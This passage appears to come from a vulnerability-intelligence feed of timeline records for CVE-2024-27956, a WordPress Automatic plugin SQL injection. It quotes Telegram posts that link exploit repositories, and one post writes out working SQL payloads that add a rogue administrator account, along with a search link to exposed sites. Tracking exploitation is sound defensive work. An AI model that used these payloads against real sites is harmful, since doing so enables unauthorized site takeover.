List\n\nhttps://github.com/payloadbox/sql-injection-payload-list\n\nGitHub - ThatNotEasy/CVE-2024-27956: Perform with massive Wordpress SQLI 2 RCE\n\nhttps://github.com/ThatNotEasy/CVE-2024-27956\n\nMemProcFS 5.10 released! Support for Windows 11 24H2 added!\n\nMemProcFS - super fast memory forensics of live memory and memory dumps!\n\nhttps://github.com/ufrisk/MemProcFS\n\nCVE-2024-37081: The vCenter Server contains multiple local privilege escalation vulnerabilities due to misconfiguration of sudo.\u00a0\n\nhttps://github.com/Mr-r00t11/CVE-2024-37081\n\nCVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer.\n\nPOC for CVE-2024-36401 GeoServer. This POC will attempt to establish a reverse system shell from the targets.\n\nhttps://github.com/bigb0x/CVE-2024-36401\n\nCVE-2024-6387, targeting a signal handler race condition in OpenSSH's server (sshd) on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to async-signal-unsafe functions being called in the SIGALRM handler.\n\nPoC\nhttps://github.com/acrono/cve-2024-6387-poc\n\nCVE-2024-29849: Veeam Backup Enterprise Manager Authentication Bypass.\n\nPoC\nhttps://github.com/sinsinology/CVE-2024-29849\n\n#CyberDilara\nhttps://t.me/CyberDilara", "url": "https://t.me/CyberDilara/396", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-14T04:09:19Z", "date_only": false, "value": "2024-07-14T04:09:19.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/6918", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "ed986260-1a95-4965-a0df-ac85b3a81d6f", "content": "Tools - Hackers Factory \n\nExploit \n\n1. CVE-2024-36991:\nSplunk Enterprise Path traversal\nhttps://github.com/bigb0x/CVE-2024-36991\n\n2. CVE-2024-22274:\nRCE in VMware vCenter Server\nhttps://github.com/mbadanoiu/CVE-2024-22274\n\n3. CVE-2024-36401:\nGeoServer Unauth RCE\nhttps://github.com/bigb0x/CVE-2024-36401\n\nGitHub - payloadbox/sql-injection-payload-list: SQL Injection Payload List\n\nhttps://github.com/payloadbox/sql-injection-payload-list\n\nGitHub - ThatNotEasy/CVE-2024-27956: Perform with massive Wordpress SQLI 2 RCE\n\nhttps://github.com/ThatNotEasy/CVE-2024-27956\n\nMemProcFS 5.10 released! Support for Windows 11 24H2 added!\n\nMemProcFS - super fast memory forensics of live memory and memory dumps!\n\nhttps://github.com/ufrisk/MemProcFS\n\nCVE-2024-37081: The vCenter Server contains multiple local privilege escalation vulnerabilities due to misconfiguration of sudo.\u00a0\n\nhttps://github.com/Mr-r00t11/CVE-2024-37081\n\nCVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer.\n\nPOC for CVE-2024-36401 GeoServer. This POC will attempt to establish a reverse system shell from the targets.\n\nhttps://github.com/bigb0x/CVE-2024-36401\n\nCVE-2024-6387, targeting a signal handler race condition in OpenSSH's server (sshd) on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to async-signal-unsafe functions being called in the SIGALRM handler.\n\nPoC\nhttps://github.com/acrono/cve-2024-6387-poc\n\nCVE-2024-29849: Veeam Backup Enterprise Manager Authentication Bypass.\n\nPoC\nhttps://github.com/sinsinology/CVE-2024-29849\n\n#CyberDilara\nhttps://t.me/CyberDilara", "url": "https://t.me/GrayHatsHack/6918", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-14T04:09:19Z", "date_only": false, "value": "2024-07-14T04:09:19.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/8212", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "d9832c5f-b710-4039-8225-0f568e238a9f", "content": "Tools - Hackers Factory \n\nExploit \n\n1. CVE-2024-36991:\nSplunk Enterprise Path traversal\nhttps://github.com/bigb0x/CVE-2024-36991\n\n2. CVE-2024-22274:\nRCE in VMware vCenter Server\nhttps://github.com/mbadanoiu/CVE-2024-22274\n\n3. CVE-2024-36401:\nGeoServer Unauth RCE\nhttps://github.com/bigb0x/CVE-2024-36401\n\nGitHub - payloadbox/sql-injection-payload-list: SQL Injection Payload List\n\nhttps://github.com/payloadbox/sql-injection-payload-list\n\nGitHub - ThatNotEasy/CVE-2024-27956: Perform with massive Wordpress SQLI 2 RCE\n\nhttps://github.com/ThatNotEasy/CVE-2024-27956\n\nMemProcFS 5.10 released! Support for Windows 11 24H2 added!\n\nMemProcFS - super fast memory forensics of live memory and memory dumps!\n\nhttps://github.com/ufrisk/MemProcFS\n\nCVE-2024-37081: The vCenter Server contains multiple local privilege escalation vulnerabilities due to misconfiguration of sudo.\u00a0\n\nhttps://github.com/Mr-r00t11/CVE-2024-37081\n\nCVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer.\n\nPOC for CVE-2024-36401 GeoServer. This POC will attempt to establish a reverse system shell from the targets.\n\nhttps://github.com/bigb0x/CVE-2024-36401\n\nCVE-2024-6387, targeting a signal handler race condition in OpenSSH's server (sshd) on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to async-signal-unsafe functions being called in the SIGALRM handler.\n\nPoC\nhttps://github.com/acrono/cve-2024-6387-poc\n\nCVE-2024-29849: Veeam Backup Enterprise Manager Authentication Bypass.\n\nPoC\nhttps://github.com/sinsinology/CVE-2024-29849\n\n#CyberDilara\nhttps://t.me/CyberDilara", "url": "https://t.me/GrayHatsHack/8212", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-14T11:05:42Z", "date_only": false, "value": "2024-07-14T11:05:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/dilagrafie/3405", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "0a16591c-3368-404e-9544-099676d0731f", "content": "Tools - Hackers Factory \n\nExploit \n\n1. CVE-2024-36991:\nSplunk Enterprise Path traversal\nhttps://github.com/bigb0x/CVE-2024-36991\n\n2. CVE-2024-22274:\nRCE in VMware vCenter Server\nhttps://github.com/mbadanoiu/CVE-2024-22274\n\n3. CVE-2024-36401:\nGeoServer Unauth RCE\nhttps://github.com/bigb0x/CVE-2024-36401\n\nGitHub - payloadbox/sql-injection-payload-list: SQL Injection Payload List\n\nhttps://github.com/payloadbox/sql-injection-payload-list\n\nGitHub - ThatNotEasy/CVE-2024-27956: Perform with massive Wordpress SQLI 2 RCE\n\nhttps://github.com/ThatNotEasy/CVE-2024-27956\n\nMemProcFS 5.10 released! Support for Windows 11 24H2 added!\n\nMemProcFS - super fast memory forensics of live memory and memory dumps!\n\nhttps://github.com/ufrisk/MemProcFS\n\nCVE-2024-37081: The vCenter Server contains multiple local privilege escalation vulnerabilities due to misconfiguration of sudo.\u00a0\n\nhttps://github.com/Mr-r00t11/CVE-2024-37081\n\nCVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer.\n\nPOC for CVE-2024-36401 GeoServer. This POC will attempt to establish a reverse system shell from the targets.\n\nhttps://github.com/bigb0x/CVE-2024-36401\n\nCVE-2024-6387, targeting a signal handler race condition in OpenSSH's server (sshd) on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to async-signal-unsafe functions being called in the SIGALRM handler.\n\nPoC\nhttps://github.com/acrono/cve-2024-6387-poc\n\nCVE-2024-29849: Veeam Backup Enterprise Manager Authentication Bypass.\n\nPoC\nhttps://github.com/sinsinology/CVE-2024-29849\n\n#CyberDilara\nhttps://t.me/CyberDilara", "url": "https://t.me/dilagrafie/3405", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-14T11:05:50Z", "date_only": false, "value": "2024-07-14T11:05:50.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GhostClanInt/25267", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "55b85d4d-6443-4fca-9636-97b01acc5b4a", "content": "Tools - Hackers Factory \n\nExploit \n\n1. CVE-2024-36991:\nSplunk Enterprise Path traversal\nhttps://github.com/bigb0x/CVE-2024-36991\n\n2. CVE-2024-22274:\nRCE in VMware vCenter Server\nhttps://github.com/mbadanoiu/CVE-2024-22274\n\n3. CVE-2024-36401:\nGeoServer Unauth RCE\nhttps://github.com/bigb0x/CVE-2024-36401\n\nGitHub - payloadbox/sql-injection-payload-list: SQL Injection Payload List\n\nhttps://github.com/payloadbox/sql-injection-payload-list\n\nGitHub - ThatNotEasy/CVE-2024-27956: Perform with massive Wordpress SQLI 2 RCE\n\nhttps://github.com/ThatNotEasy/CVE-2024-27956\n\nMemProcFS 5.10 released! Support for Windows 11 24H2 added!\n\nMemProcFS - super fast memory forensics of live memory and memory dumps!\n\nhttps://github.com/ufrisk/MemProcFS\n\nCVE-2024-37081: The vCenter Server contains multiple local privilege escalation vulnerabilities due to misconfiguration of sudo.\u00a0\n\nhttps://github.com/Mr-r00t11/CVE-2024-37081\n\nCVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer.\n\nPOC for CVE-2024-36401 GeoServer. This POC will attempt to establish a reverse system shell from the targets.\n\nhttps://github.com/bigb0x/CVE-2024-36401\n\nCVE-2024-6387, targeting a signal handler race condition in OpenSSH's server (sshd) on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to async-signal-unsafe functions being called in the SIGALRM handler.\n\nPoC\nhttps://github.com/acrono/cve-2024-6387-poc\n\nCVE-2024-29849: Veeam Backup Enterprise Manager Authentication Bypass.\n\nPoC\nhttps://github.com/sinsinology/CVE-2024-29849\n\n#CyberDilara\nhttps://t.me/CyberDilara", "url": "https://t.me/GhostClanInt/25267", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-21T19:14:26Z", "date_only": false, "value": "2024-07-21T19:14:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/10856", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "fe12ec3c-74af-4d35-909e-81a156599c11", "content": "#exploit\n1. CVE-2023-20872:\nVMware Workstation/Fusion - out-of-bounds read/write in SCSI CD/DVD device emulation\nhttps://github.com/ze0r/vmware-escape-CVE-2023-20872-poc\n\n2. CVE-2024-27956:\nSQLI in ValvePress Automatic plugin\nhttps://github.com/diego-tella/CVE-2024-27956-RCE", "url": "https://t.me/CyberSecurityTechnologies/10856", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-31T13:06:34Z", "date_only": false, "value": "2024-07-31T13:06:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/x-xWRWZlWT-07eDEe3iV-8r6WnFr_WokjLoD1BeJ7u0", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "4c3039a5-03c0-40ac-8512-0f8775c04721", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-08-02T00:41:55.941Z", "date_only": false, "value": "2024-08-02T00:41:55.941Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2024-27956", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-02T14:03:46.415Z", "date_only": false, "value": "2024-08-02T14:03:46.415Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2024-27956", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-16T11:18:01Z", "date_only": false, "value": "2024-08-16T11:18:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Rootsec_2/3474", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "21a83d93-1c10-4d50-920e-458a98f10c31", "content": "#exploit\n1. CVE-2023-20872:\nVMware Workstation/Fusion - out-of-bounds read/write in SCSI CD/DVD device emulation\nhttps://github.com/ze0r/vmware-escape-CVE-2023-20872-poc\n\n2. CVE-2024-27956:\nSQLI in ValvePress Automatic plugin\nhttps://github.com/diego-tella/CVE-2024-27956-RCE", "url": "https://t.me/Rootsec_2/3474", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-08-19T06:52:52Z", "date_only": false, "value": "2024-08-19T06:52:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingInsights/10434", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "6c63495a-97be-446e-8caa-39e48183ce7f", "content": "SQL Vulnerability in WordPress Automatic Plugin (CVE-2024\u201327956): https://roadtooscp.medium.com/sql-vulnerability-in-wordpress-automatic-plugin-cve-2024-27956-3635f1d32b4e?source=rss------bug_bounty-5", "url": "https://t.me/HackingInsights/10434", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-10-30T13:43:24Z", "date_only": false, "value": "2024-10-30T13:43:24.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_automatic_sqli_to_rce.rb", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "6e3a6fcf-14fa-4b9c-86bc-2938036b0f84", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_automatic_sqli_to_rce.rb"}, {"timestamp": "2024-12-05T06:27:26Z", "date_only": false, "value": "2024-12-05T06:27:26+00:00", "kind": "kev", "label": "Asserted", "source": "shadowserver", "record": "CVE-2024-27956", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "93bce616-4268-4352-b8b6-8fe4a386c092", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2024-12-05T06:27:26Z", "date_only": false, "value": "2024-12-05T06:27:26+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2024-27956", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "uuid": "93bce616-4268-4352-b8b6-8fe4a386c092", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-01-03T21:14:28Z", "date_only": false, "value": "2025-01-03T21:14:28.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/jokeir7x0/1799", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "7d91dce7-d13e-4fe5-bcc9-eea515206dd9", "content": "Find And  RCE in wordpress - CVE-2024-27956", "url": "https://t.me/jokeir7x0/1799"}, {"timestamp": "2025-01-04T15:36:18Z", "date_only": false, "value": "2025-01-04T15:36:18.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/AGENTZSECURITY/830", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "e4b3e2ce-8d62-4799-9919-14edf5d3b81c", "content": "\ud83d\udc69\u200d\ud83d\udcbb PoC for WordPress Automatic Plugin CVE-2024-27956 (Unauthenticated Arbitrary SQL Execution) (CVSS 9.9)\n\nSince \"q\" is passed directly into a $wpdb->get_results() call, you can execute SQL commands directly. \n\nAdding a new WordPress user:\nq=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status) VALUES ('poc', MD5('poc'), 'poc', 'poc@localhost.org', NOW(), 0);&auth=%20&integ=5be638728303f002fd54450e5866dd28\nGiving the user admin rights:\nq=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (6, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}'), (6, 'wp_user_level', '10');&auth=%20&integ=6ed26ea278413ec91e2c27fed01eac6c\nPWNED!\n\nNote: Param \"integ\" is the md5sum of the query.\n\n6K+ Services are found: https://hunter.how/list?searchValue=web.body%3D%22wp-content%2Fplugins%2Fwp-automatic%22\n\nTweet: https://x.com/mrtuxracer/status/1784229071460692232?s=12", "url": "https://t.me/AGENTZSECURITY/830", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-02-04T00:00:00Z", "date_only": false, "value": "2025-02-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-04)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "c1fa96c7-85ea-4779-ab62-d1dc8bdfa766"}, {"timestamp": "2025-02-05T00:00:00Z", "date_only": false, "value": "2025-02-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-05)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "a52fc5ff-62d5-405a-b488-fea90794febe"}, {"timestamp": "2025-02-06T00:00:00Z", "date_only": false, "value": "2025-02-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-06)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "6d74d968-8e43-42bc-b3e9-7bf51653b328"}, {"timestamp": "2025-02-06T03:13:46Z", "date_only": false, "value": "2025-02-06T03:13:46.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "9cf6b643-b12b-41dd-94f2-7701e32230e7"}, {"timestamp": "2025-02-11T00:00:00Z", "date_only": false, "value": "2025-02-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-11)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "e16cd21a-1983-4132-a016-099a50dde006"}, {"timestamp": "2025-02-14T18:30:48Z", "date_only": false, "value": "2025-02-14T18:30:48Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-XV4R-44QP-78WM", "record": "GHSA-XV4R-44QP-78WM", "field": "modified", "linked_record": true}, {"timestamp": "2025-02-14T21:08:31Z", "date_only": false, "value": "2025-02-14T21:08:31.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/-VT47eGLn6V5kRZ4cPXpiIgY4bebqpHSpnMi-4aWG0NiegQ2", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "fd7c0814-8f3d-4513-9e1c-3c42a4217f9e"}, {"timestamp": "2025-02-21T00:00:00Z", "date_only": false, "value": "2025-02-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-21)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "1050d9d5-698d-4801-813a-16ae4bdea264"}, {"timestamp": "2025-02-23T04:11:01Z", "date_only": false, "value": "2025-02-23T04:11:01.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "0c3a898f-99a8-4fcf-8cf4-9abcfc7d7b38"}, {"timestamp": "2025-03-02T00:00:00Z", "date_only": false, "value": "2025-03-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-02)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "b1f8dcc7-8a79-4d38-8bf5-4a3ef0d227a9"}, {"timestamp": "2025-03-04T00:00:00Z", "date_only": false, "value": "2025-03-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-04)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "04746b8d-8e72-4f57-95a6-8aff2151e589"}, {"timestamp": "2025-03-06T00:00:00Z", "date_only": false, "value": "2025-03-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-06)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "18366e26-8d46-4471-b9fc-9a08d77657ba"}, {"timestamp": "2025-03-13T00:00:00Z", "date_only": false, "value": "2025-03-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-13)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "fa775ff0-14d5-4eed-a4e9-07c3e9e687c0"}, {"timestamp": "2025-03-21T00:00:00Z", "date_only": false, "value": "2025-03-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-21)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "843fdba7-2b08-419e-b4b7-9ea6cadd60cb"}, {"timestamp": "2025-03-26T00:00:00Z", "date_only": false, "value": "2025-03-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-26)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "1c8ae7fa-15f7-4a67-a049-84772c596f06"}, {"timestamp": "2025-03-27T20:15:48.644Z", "date_only": false, "value": "2025-03-27T20:15:48.644971Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hackingne.ws/post/3llf4jdmeu42l", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "332cd754-5c16-44ab-993d-0e914b269463", "url": "https://bsky.app/profile/hackingne.ws/post/3llf4jdmeu42l"}, {"timestamp": "2025-03-31T14:10:26Z", "date_only": false, "value": "2025-03-31T14:10:26.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/thehackernews/6584", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "9e401529-4d73-460e-87c3-39aa16d251a3", "content": "\ud83d\udea8 Hackers are abusing WordPress mu-plugins\u2014a hidden auto-run directory\u2014to inject malware, hijack links, and redirect users to scam sites.\n\nAlso, add these to the list of 2024's major WordPress threats:\nCVE-2024-27956 | SQL injection\nCVE-2024-25600 | RCE in Bricks theme\nCVE-2024-8353 | PHP injection\nCVE-2024-4345 | Arbitrary file upload\n\nIf you run a WordPress site, check your mu-plugins folder NOW.\n\n\ud83d\udee1\ufe0f Full story: https://thehackernews.com/2025/03/hackers-exploit-wordpress-mu-plugins-to.html", "url": "https://t.me/thehackernews/6584"}, {"timestamp": "2025-03-31T21:38:56.648Z", "date_only": false, "value": "2025-03-31T21:38:56.648344Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/youranonriots.bsky.social/post/3llpczs22js2s", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "a85b7ac4-6ef8-4d81-ac87-2041d0e740cd", "url": "https://bsky.app/profile/youranonriots.bsky.social/post/3llpczs22js2s"}, {"timestamp": "2025-03-31T21:38:57.355Z", "date_only": false, "value": "2025-03-31T21:38:57.355871Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/youranonriots.bsky.social/post/3llpcztm5322s", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "2ffe2e13-af22-4734-81ec-7e632dbdf1b0", "url": "https://bsky.app/profile/youranonriots.bsky.social/post/3llpcztm5322s"}, {"timestamp": "2025-04-01T12:30:18Z", "date_only": false, "value": "2025-04-01T12:30:18.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/itsec_news/5672", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "87d758e2-da9c-48b5-8b29-76c79beab435", "content": "\u200b\u26a1\ufe0f\u0425\u0430\u043a\u0435\u0440\u044b \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043e\u0441\u043e\u0431\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 WordPress\n\n\ud83d\udcac \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Sucuri \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0441\u0445\u0435\u043c\u0443 \u0430\u0442\u0430\u043a , \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043e\u0441\u043e\u0431\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e WordPress \u2014 \u00abmu-plugins\u00bb \u2014 \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u042d\u0442\u0430 \u043f\u0430\u043f\u043a\u0430 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0445 must-use \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435. \u0422\u0430\u043a\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0451 \u0438\u0434\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0434\u043b\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u0441\u0440\u0430\u0437\u0443 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 PHP-\u0444\u0430\u0439\u043b\u043e\u0432. \u041e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u0445, \u00abredirect.php\u00bb, \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b \u0441\u043a\u0440\u044b\u0442\u043e\u0435 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b, \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u0434 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430. \u0412\u0442\u043e\u0440\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u00abindex.php\u00bb, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u0433\u0440\u0443\u0437\u043a\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0441 GitHub. \u0422\u0440\u0435\u0442\u0438\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442, \u00abcustom-js-loader.php\u00bb, \u0432\u043d\u0435\u0434\u0440\u044f\u043b 